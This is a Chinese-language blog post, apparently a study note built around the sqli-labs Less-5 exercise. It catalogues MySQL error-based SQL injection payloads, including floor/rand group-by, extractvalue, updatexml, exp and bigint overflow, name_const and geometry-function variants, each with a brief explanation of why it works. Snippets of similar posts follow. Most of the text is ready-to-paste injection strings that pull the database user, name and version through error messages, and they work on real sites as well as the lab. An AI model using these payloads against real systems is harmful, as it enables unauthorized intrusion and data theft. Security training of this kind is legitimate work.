SQL注入之報錯注入的一些隨筆

2021-08-17 08:41:08 字數 1959 閱讀 8761

關於報錯注入的話雖然我在我之前的文章裡面寫了一些,但是sql注入的姿勢實在是太多了。之前寫過的payload不全也不系統。今天抽出時間來總結一下。

ps:關於報錯注入的原理和使用的基本函式我在我之前的文章《sqli-labs修煉筆記(二)》中已經詳細說過了,如果不懂可以去看看。

ps的ps:這裡以sqli-labs的less-5為例題作為示範。

' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

原理:xpath 函式報錯注入

ps:(有長度限制,最長32位)

' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

ps:(有長度限制,最長32位)

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

原理:利用double 數值型別超出範圍進行報錯注入

' union select (exp(~(select * from(select user())a))),2,3--+

原理:利用bigint 溢位進行報錯注入

' union select (!(select * from (select user())x) - ~0),2,3--+

原理:利用資料的重複性。

'union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+

floor()

and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

information_schema.tables group by x)a)

updatexml()

and 1=(updatexml(1,concat(0x3a,(select user())),1))

extractvalue()

and extractvalue(1,concat(0x5c,(select user())))

exp()

and exp(~(select * from(select user())a))

multipoint()

and multipoint((select * from(select * from(select user())a)b))

geometrycollection()

and geometrycollection((select * from(select * from(select user())a)b))

polygon()

and polygon((select * from(select * from(select user())a)b))

multipolygon()

and multipolygon((select * from(select * from(select user())a)b))

linestring()

and linestring((select * from(select * from(select user())a)b))

multilinestring()

and multilinestring((select * from(select * from(select user())a)b))

1.《mysql注入天書》

2.《mysql暴錯注入方法整理》

3.《**審計:企業級web**安全架構》

SQL注入之報錯注入

固定語句公式 union select 1 from select count concat floor rand 0 2 注入爆資料語句 a from information schema.tables group by a b 假如id輸入存在注入的話,可以通過如下語句進行報錯。mysql se...

SQL注入之報錯注入

0x01 報錯注入 在實際場景中,沒有乙個資料的返回資訊點。此時需要用報錯注入使其顯示出注入資訊。使用到報錯注入的場景有 普通報錯注入,即沒有資料返回點 insert注入 update注入 delete注入 0x02 常用到的兩個報錯函式 updatexml 和extractvalue 函式 0x0...

SQL注入之報錯型注入

一般是在頁面沒有顯示位 但用echo mysql error 輸出了錯誤資訊的時候使用,它的特點是注入速度快,但是語句較複雜,不能用group concat 只能用limit依次猜解 count rand group by三者缺一不可 報錯注入用乙個公式,只要套用公式即可,公式如下 id 2 and...